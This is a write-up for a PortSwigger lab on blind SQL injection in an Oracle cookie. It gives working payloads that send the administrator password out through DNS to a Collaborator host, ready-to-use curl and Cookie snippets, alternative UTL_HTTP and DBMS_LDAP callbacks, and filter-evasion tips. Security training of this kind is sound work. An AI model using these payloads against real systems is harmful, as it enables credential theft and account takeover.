Blind SQL injection with out-of-band data exfiltration
Blind SQL injection with out-of-band data exfiltration: Exploit a blind SQL injection in the TrackingId cookie to trigger out‑of‑band (OAST) DNS callbacks and exfiltrate the administrator password from the users table. Then log in as administrator. • PortSwigger • Blind-SQLi, XXE • xml, oracle
🎯 Goal
Exploit a blind SQL injection in the TrackingId cookie to trigger out‑of‑band (OAST) DNS callbacks and exfiltrate the administrator password from the users table. Then log in as administrator.
🧩 Lab Facts
- Vulnerable parameter:
TrackingId(cookie) - DBMS: Oracle
- Vuln type: Blind SQLi with asynchronous query execution (no visible in-band error/response)
- Exfil channel: DNS via Burp Collaborator (or any OAST server)
- Key Oracle gadgets:
XMLTYPE(...) + EXTRACTVALUE(...)+ external DTD (XXE-triggered DNS)FROM dual- Oracle string concatenation
|| - SQL comment
--(remember: Oracle requires a space/newline after--)
🛠️ Toolkit
- Burp Suite (with Collaborator Client)
- Proxy set up in the browser
- Optional: a repeater-friendly client (cURL) for fast iteration
🧠 Strategy (High-Level)
- Start Burp Collaborator and copy your unique domain.
- Inject a payload into the
TrackingIdcookie that forces Oracle to parse an XML external entity whose system identifier is a URL embedding your SQL data (the password). - When Oracle resolves that URL, a DNS lookup hits Collaborator (OAST). The lookup label contains your extracted data.
- Read the password from the Collaborator event; then log in as
administrator.
Why OAST? The SQL runs asynchronously and doesn’t affect the response, so we need a side‑channel.
🔬 Understanding the Context
Depending on how the backend query is built, your cookie value might be injected:
- Inside a WHERE clause expression (e.g.,
'... WHERE tracking_id = '<COOKIE>' ...'), or - As a selectable value (e.g., used in a
UNION SELECT ...).
If the server concatenates the cookie inside a string literal, you may need to break out of quotes. If it selects your cookie value directly, a UNION SELECT may be simpler. This is why a non-UNION payload might fail but a UNION SELECT payload works (and vice versa).
💥 Working Payload (Oracle OAST via XML External Entity)
Use EXTRACTVALUE + XMLTYPE to coerce Oracle into resolving an external DTD whose URL includes the exfiltrated value.
🔑 Remember: put a space after
--for Oracle comments.
Cookie injection (conceptual form):
' UNION SELECT EXTRACTVALUE(
xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://' || (SELECT password FROM users WHERE username='administrator') || '.YOUR-COLLAB-ID.burpcollaborator.net/">
%remote;
]><root/>'
),
'/l'
) FROM dual-- URL-Encoded (drop-in) version
Most of the time you’ll paste this into the TrackingId cookie and let the proxy URL-encode it, but here’s a fully encoded variant for reference:
%27%20UNION%20SELECT%20EXTRACTVALUE(xmltype(%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20[%0A%20%20%20%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//%27%20%7C%7C%20(SELECT%20password%20FROM%20users%20WHERE%20username%3D%27administrator%27)%20%7C%7C%20%27.YOUR-COLLAB-ID.burpcollaborator.net/%22%3E%0A%20%20%20%20%25remote%3B%0A%20%20]%3E%3Croot/%3E%27),%27/l%27)%20FROM%20dual--%20Replace
YOUR-COLLAB-ID.burpcollaborator.netwith the domain from Collaborator Client.
🧪 Step-by-Step
- Open Collaborator Client in Burp → click Copy to clipboard to get your unique domain (e.g.,
hsd458x5yf7aoopqwwgzdb41mssmgb.burpcollaborator.net). - Browse any page that sets the
TrackingIdcookie; intercept with Burp. - Replace the cookie value with the payload above (ensure the trailing
--has a space). - Forward the request (you’ll get a normal page).
- Back in Collaborator, click Poll now.
- A DNS interaction should appear; the first label before your Collaborator domain contains the
administratorpassword (e.g.,p4ssw0rd.hsd458x...). - Log in to the app with
administrator:<exfiltrated-password>.
🧩 Why this works
XMLTYPE(...)+EXTRACTVALUE(...)processes the constructed XML.- A DTD with an external parameter entity (
%remote) forces Oracle to fetch the resource at the specified URL. - The URL host embeds the SQL data, so the DB must perform a DNS resolution, which you observe in Collaborator.
- Because execution is async, you don’t see anything in‑band; OAST is the side‑channel.
🧷 Practical Notes & Troubleshooting
- Label length in DNS is 63 chars. If the password may exceed this, exfiltrate in chunks:and then
(SELECT SUBSTR(password,1,30) FROM users WHERE username='administrator')(31,30),(61,30), etc. You can send multiple requests, adjusting the range. - Comment syntax: Oracle needs a space or newline after
--. Use--, not just--. - Quoting: If the backend injects your cookie inside a quoted string, you may need to close the quote first:or escape appropriately.
'|| <payload> ||' - Blocking functions: If
EXTRACTVALUE/XMLTYPEare blocked, try alternative OAST primitives (availability varies by version/ACLs):DBMS_LDAP.INIT('<data>.collab-id')→ triggers DNS.UTL_HTTP.REQUEST('http://<data>.collab-id/')→ triggers HTTP (requires network ACLs).
- Your first (non‑UNION) attempt vs UNION: If the cookie is selected in a standalone
SELECT,UNION SELECTaligns with the expected projection and is less dependent on how strings are concatenated internally. If it’s injected inside a WHERE, an inline expression (withoutUNION) can be more suitable. Try both patterns. - WAF: Since execution is async and no payload reflects, you’ll often evade naive filters. If needed, case flip, inline comments (
SE/**/LECT), or hex/char concatenation for identifiers/keywords.
🔐 Login
Once the DNS interaction reveals something like:
<EXFIL_PASSWORD>.hsd458x5yf7aoopqwwgzdb41mssmgb.burpcollaborator.netuse:
username: administrator
password: <EXFIL_PASSWORD>🧱 Mitigations (Defender’s Corner)
- Parameterized queries / prepared statements
- Strict allowlist validation on cookies
- Disable or constrain XML external entity resolution in DB functions where possible
- Harden Oracle network ACLs (block egress from DB to internet)
- Monitor for suspicious DNS/HTTP egress from DB subnets
📎 Ready-to-Use Repeater Snippets
Cookie header (concept)
Cookie: TrackingId=' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT password FROM users WHERE username=''administrator'') || '.YOUR-COLLAB-ID.burpcollaborator.net/"> %remote;]><root/>'),'/l') FROM dual-- ; session=...cURL (manually URL-encode or let your proxy handle it)
curl -i https://TARGET/ \
-H "Cookie: TrackingId=%27%20UNION%20SELECT%20EXTRACTVALUE(xmltype(%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20[%20%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//%27%20%7C%7C%20(SELECT%20password%20FROM%20users%20WHERE%20username%3D%27administrator%27)%20%7C%7C%20%27.YOUR-COLLAB-ID.burpcollaborator.net/%22%3E%20%25remote%3B]%3E%3Croot/%3E%27),%27/l%27)%20FROM%20dual--%20; session=ABC123"Replace
YOUR-COLLAB-ID.burpcollaborator.netandTARGETaccordingly.
✅ Checklist
- Collaborator domain created and reachable
- Payload inserted into
TrackingIdcookie - Oracle comment ends with space (
--) - DNS interaction received; label contains expected data
- If needed, chunked with
SUBSTR(...) - Successful admin login
🖼️ Evidence (Your Screenshots)
- Collaborator hit(s) with password in the subdomain
(e.g.,p4ssw0rd.hsd458x5y...burpcollaborator.net) - Successful login as administrator
References
- PortSwigger: Blind SQL injection with out‑of‑band (OAST)
- Oracle XML DB functions (
XMLTYPE,EXTRACTVALUE) - Oracle string concatenation and
dualtable usage